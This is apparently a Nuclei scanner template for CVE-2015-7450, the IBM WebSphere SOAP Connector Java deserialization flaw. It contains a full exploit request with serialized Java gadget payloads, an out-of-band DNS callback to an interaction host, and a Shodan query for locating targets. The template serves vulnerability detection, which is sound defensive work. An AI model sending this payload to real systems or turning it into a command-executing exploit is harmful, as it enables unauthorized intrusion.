IBM WebSphere Java Object Deserialization - Remote Code Execution

id: CVE-2015-7450

info:
  name: IBM WebSphere Java Object Deserialization - Remote Code Execution
  author: wdahlenb
  severity: critical
  description: IBM Websphere Application Server 7, 8, and 8.5 have a deserialization vulnerability in the SOAP Connector (port 8880 by default).
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, allowing an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches provided by IBM to mitigate this vulnerability.
  reference:
    - https://github.com/Coalfire-Research/java-deserialization-exploits/blob/main/WebSphere/websphere_rce.py
    - https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7450
    - http://www-01.ibm.com/support/docview.wss?uid=swg21972799
    - http://www-01.ibm.com/support/docview.wss?uid=swg21970575
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2015-7450
    cwe-id: CWE-94
    epss-score: 0.97122
    epss-percentile: 0.99772
    cpe: cpe:2.3:a:ibm:tivoli_common_reporting:2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ibm
    product: tivoli_common_reporting
    shodan-query: http.html:"IBM WebSphere Portal"
  tags: cve2015,cve,websphere,deserialization,rce,oast,ibm,java,kev

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "urn:AdminService"

        <?xml version='1.0' encoding='UTF-8'?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <SOAP-ENV:Header ns0:JMXConnectorContext="rO0ABXNyAA9qYXZhLnV0aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAKc3IAOmNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3IuSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnTblRMyYyF8sQIABUwACGNlbGxOYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAIaG9zdE5hbWVxAH4AB0wACG5vZGVOYW1lcQB+AAdMAApzZXJ2ZXJOYW1lcQB+AAdbAApzdGFja1RyYWNldAAeW0xqYXZhL2xhbmcvU3RhY2tUcmFjZUVsZW1lbnQ7eHB0AAB0AAhMYXAzOTAxM3EAfgAKcQB+AAp1cgAeW0xqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnQ7AkYqPDz9IjkCAAB4cAAAACpzcgAbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50YQnFmiY23YUCAARJAApsaW5lTnVtYmVyTAAOZGVjbGFyaW5nQ2xhc3NxAH4AB0wACGZpbGVOYW1lcQB+AAdMAAptZXRob2ROYW1lcQB+AAd4cAAAAEt0ADpjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHRFbGVtZW50dAAfSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnQuamF2YXQABjxpbml0PnNxAH4ADgAAADx0ADNjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHR0ABhKTVhDb25uZWN0b3JDb250ZXh0LmphdmF0AARwdXNoc3EAfgAOAAAGQ3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAcZ2V0Sk1YQ29ubmVjdG9yQ29udGV4dEhlYWRlcnNxAH4ADgAAA0h0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQAEmludm9rZVRlbXBsYXRlT25jZXNxAH4ADgAAArF0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQADmludm9rZVRlbXBsYXRlc3EAfgAOAAACp3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAOaW52b2tlVGVtcGxhdGVzcQB+AA4AAAKZdAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA4AAAHndAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA7/////dAAVY29tLnN1bi5wcm94eS4kUHJveHkwcHQABmludm9rZXNxAH4ADgAAAOB0ACVjb20uaWJtLndzLm1hbmFnZW1lbnQuQWRtaW5DbGllbnRJbXBsdAAUQWRtaW5DbGllbnRJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAADYdAA9Y29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5jb25maWdzZXJ2aWNlLkNvbmZpZ1NlcnZpY2VQcm94eXQAF0NvbmZpZ1NlcnZpY2VQcm94eS5qYXZhdAARZ2V0VW5zYXZlZENoYW5nZXNzcQB+AA4AAAwYdAAmY29tLmlibS53cy5zY3JpcHRpbmcuQWRtaW5Db25maWdDbGllbnR0ABZBZG1pbkNvbmZpZ0NsaWVudC5qYXZhdAAKaGFzQ2hhbmdlc3NxAH4ADgAAA/Z0AB5jb20uaWJtLndzLnNjcmlwdGluZy5XYXN4U2hlbGx0AA5XYXN4U2hlbGwuamF2YXQACHRpbWVUb0dvc3EAfgAOAAAFm3QAImNvbS5pYm0ud3Muc2NyaXB0aW5nLkFic3RyYWN0U2hlbGx0ABJBYnN0cmFjdFNoZWxsLmphdmF0AAtpbnRlcmFjdGl2ZXNxAH4ADgAACPp0ACJjb20uaWJtLndzLnNjcmlwdGluZy5BYnN0cmFjdFNoZWxsdAASQWJzdHJhY3RTaGVsbC5qYXZhdAADcnVuc3EAfgAOAAAElHQAHmNvbS5pYm0ud3Muc2NyaXB0aW5nLldhc3hTaGVsbHQADldhc3hTaGVsbC5qYXZhdAAEbWFpbnNxAH4ADv////50ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQAB2ludm9rZTBzcQB+AA4AAAA8dAAkc3VuLnJlZmxlY3QuTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsdAAdTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAAAldAAoc3VuLnJlZmxlY3QuRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbHQAIURlbGVnYXRpbmdNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAAmN0ABhqYXZhLmxhbmcucmVmbGVjdC5NZXRob2R0AAtNZXRob2QuamF2YXQABmludm9rZXNxAH4ADgAAAOp0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAKbGF1bmNoTWFpbnNxAH4ADgAAAGB0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAEbWFpbnNxAH4ADgAAAE10ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAACS3QANG9yZy5lY2xpcHNlLmVxdWlub3guaW50ZXJuYWwuYXBwLkVjbGlwc2VBcHBDb250YWluZXJ0ABhFY2xpcHNlQXBwQ29udGFpbmVyLmphdmF0ABdjYWxsTWV0aG9kV2l0aEV4Y2VwdGlvbnNxAH4ADgAAAMZ0ADFvcmcuZWNsaXBzZS5lcXVpbm94LmludGVybmFsLmFwcC5FY2xpcHNlQXBwSGFuZGxldAAVRWNsaXBzZUFwcEhhbmRsZS5qYXZhdAADcnVuc3EAfgAOAAAAbnQAPG9yZy5lY2xpcHNlLmNvcmUucnVudGltZS5pbnRlcm5hbC5hZGFwdG9yLkVjbGlwc2VBcHBMYXVuY2hlcnQAF0VjbGlwc2VBcHBMYXVuY2hlci5qYXZhdAAOcnVuQXBwbGljYXRpb25zcQB+AA4AAABPdAA8b3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmludGVybmFsLmFkYXB0b3IuRWNsaXBzZUFwcExhdW5jaGVydAAXRWNsaXBzZUFwcExhdW5jaGVyLmphdmF0AAVzdGFydHNxAH4ADgAAAXF0AC9vcmcuZWNsaXBzZS5jb3JlLnJ1bnRpbWUuYWRhcHRvci5FY2xpcHNlU3RhcnRlcnQAE0VjbGlwc2VTdGFydGVyLmphdmF0AANydW5zcQB+AA4AAACzdAAvb3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmFkYXB0b3IuRWNsaXBzZVN0YXJ0ZXJ0ABNFY2xpcHNlU3RhcnRlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2N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xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0">
        </SOAP-ENV:Header>
        <SOAP-ENV:Body>
        <ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==</objectname>
        <operationname xsi:type="xsd:string">getUnsavedChanges</operationname>
        <params xsi:type="ns1:[Ljava.lang.Object;">{{ generate_java_gadget("dns", "{{interactsh-url}}", "base64-raw")}}</params>
        <signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature>
        </ns1:invoke>
        </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'SOAP-ENV:Server'
          - '<faultcode>'
        condition: and

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: status
        status:
          - 500
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